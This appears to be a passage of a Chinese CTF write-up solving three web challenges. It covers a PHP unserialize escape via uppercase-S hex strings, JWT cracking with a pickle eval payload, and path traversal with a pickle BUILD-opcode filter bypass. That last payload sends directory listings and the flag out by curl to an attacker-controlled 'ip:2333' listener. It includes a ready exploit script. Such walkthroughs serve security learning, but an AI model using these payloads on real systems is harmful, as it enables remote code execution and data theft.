	$serialize_data=serialize($config['post']);
	$data = unserialize(preg_replace('/s:/', 'S:', $serialize_data));
	print_r(preg_replace('/s:/', 'S:', $serialize_data));
	var_dump($data['Location']);

post一个Location=O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}},返回结果如下

a:1:{S:8:"Location";S:46:"O:7:"Request":1:{S:5:"hhhhh";O:5:"Index":0:{}}";}
D:\phpstudy\WWW\index.php:8:string 'O:7:"Request":1:{S:5:"hhhhh";O:5:"Index":0:{}}' (length=46)

payload还是会被识别成字符串,这时候,题目中的preg_replace的作用就来了

在php反序列化中,为了避免信息丢失,使用大写S支持字符串的编码。

php为了更加方便的进行反序列化内容的传输与显示(避免都是某些控制字符等信息),可以在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示,格式如下:

s:8:extrader;->S:8:\65xtrader

这时候我们就可以传入两个值来进行利用了,$this->post就是$_POST这个数组,payload如下

a=\31\31\31\31\31\31\31\31\31\31\31&Location=;s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}}

解释一下上面的payload

当上面这一串payload打到网站,serialize($_POST)后的值是

a:2:{
    s:1:"a";s:33:"\31\31\31\31\31\31\31\31\31\31\31";
    s:8:"Location";s:63:";s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}}";
}

但是这里s:替换成S:后,\31就自动转成1了,这样前面的33没变,但是后面的值变了,和反序列化字符串逃逸差不多,这里是长变短,一个\31多出两个字符,于是就可以想着去闭合后面的";s:8:"Location";s:63:,22个字符(当然这里也可以不是Location,凑成双数即可),这样后面的Location就能生效反序列化识别成一个类了,至于后面多余的可以不用管,php会自动舍弃,于是我们传11个\31即可拿到flag

Python

CISCN2019-华北赛区-Day1-Web2—ikun

根据题目提示需要买到lv6的账号,于是写脚本找

import requests

url = "http://4882ba34-0c83-48c1-b876-e1b21efa6a68.node3.buuoj.cn/shop?page={}"
for i in range(1000):
    a = requests.get(url.format(i))
    if "static/img/lv/lv6.png" in a.text:
        print(url.format(i))

跑出lv6在page=181的页面,点击购买钱不够,发现有折扣,于是抓包改折扣为0.0000001,随后提示需要是admin,抓包注意到有一个jwtcookie参考,这里有一个编解码网站,再找到爆破密钥脚本网站,跑出来密钥为1kun,放到编码网站编码后携带这个jwtcookie发包,随后来到b1g_m4mber界面,查看源码得到www.zip源码包,找到关键利用的代码

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

明显的pickle反序列化利用,POST的become为利用点,随后构造反序列化利用poc:

# -*- coding: UTF-8 -*-
# 题目是在python2环境下,需要用python2跑
import pickle
import urllib

class dairy(object):
    def __reduce__(self):
        return eval, ("open('/flag.txt','r').read()",) // eval直接读取文件

today = dairy()
# print(pickle.dumps(today))
x = pickle.dumps(today)
print(urllib.quote(x))
a = pickle.loads(urllib.unquote(x))

得到payload:

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

传入发包得到flag

第一届“长城杯”网络安全大赛院校组-ez_python

源码提示 <!-- ?pic=1.jpg -->,尝试读取/etc/passwd可以读取

/proc/self/environ读取环境变量 敏感文件搜集

MAIL=/var/mail/app
USER=app
HOSTNAME=engine-1
SHLVL=1
PYTHON_PIP_VERSION=20.1
HOME=/home/app
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
LOGNAME=app
_=/bin/su
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.py
TERM=xterm
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SHELL=/bin/sh
PYTHON_VERSION=3.8.2
PWD=/app
PYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348

又环境变量得知PYTHON_VERSION=3.8.2PWD=/app

联想python题目的一般形式,flask写的一般入口为app.py,读取源代码 /app/app.py

import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file

app = Flask(__name__)

class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

def check(s):
    if b'R' in s:
        return 0
    return 1


@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        if check(user):
            user = pickle.loads(user)
            username = user["username"]
        else:
            username = "bad,bad,hacker"
    except:
        username = "CTFer"
    pic = '{0}.jpg'.format(random.randint(1,7))
    
    try:
        pic=request.args.get('pic')
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()
    except:
        pic='{0}.jpg'.format(random.randint(1,7))
        with open(pic, 'rb') as f:
            base64_data = base64.b64encode(f.read())
            p = base64_data.decode()

    return render_template('index.html', uname=username, pic=p )


if __name__ == "__main__":
    app.run('0.0.0.0',port=8888)

明显的pickle反序列化,不过有一个check,限制了R指令,即不能使用__reduce__执行命令了,当是我们这题要需要RCE来读flag

这里可以使用BUILD指令(指令码为b)绕过,实现RCE效果,参考我原来写的:Python反序列化漏洞浅析

先构造一个初始payload

import pickle
import pickletools
import os
class User():
    def __init__(self,name,age):
        self.name = name
        self.age = age

user = User()
print(pickle.dumps(user))

输出反序列化后的结果\x80\x03c__main__\nUser\nq\x00)\x81q\x01.,这里的符号含义就不解释了

payload里面添加b指令码操作,由于没有回显,我们使用sleep延时判断是否命令执行成功

\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVsleep 5\nb.

放到cookie发包,成功延时5s,于是curl请求外带来执行命令

\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:2333/`ls / | base64`\nb.
\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:2333/`cat /flagggggggggggggaaa | base64`\nb.

在自己服务器上nc -lvnp 2333,可以收到base64编码后的flag,解码即可

写个exp:

import requests
import urllib3
import base64

urllib3.disable_warnings()

url = "http://eci-2ze3ul2c0sy8uv9fos2o.cloudeci1.ichunqiu.com:8888/"

headers = {
    "User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) "
                  "Chrome/88.0.4324.192 Mobile Safari/537.36 "
}

payload = b'\x80\x03c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl http://ip:2333/`cat /flagggggggggggggaaa | base64`\nb.'

cookie = str(base64.b64encode(payload), encoding='utf-8')

cookies = {
    "user":"{}".format(cookie)
}

requests.get(url=url, headers=headers, cookies=cookies)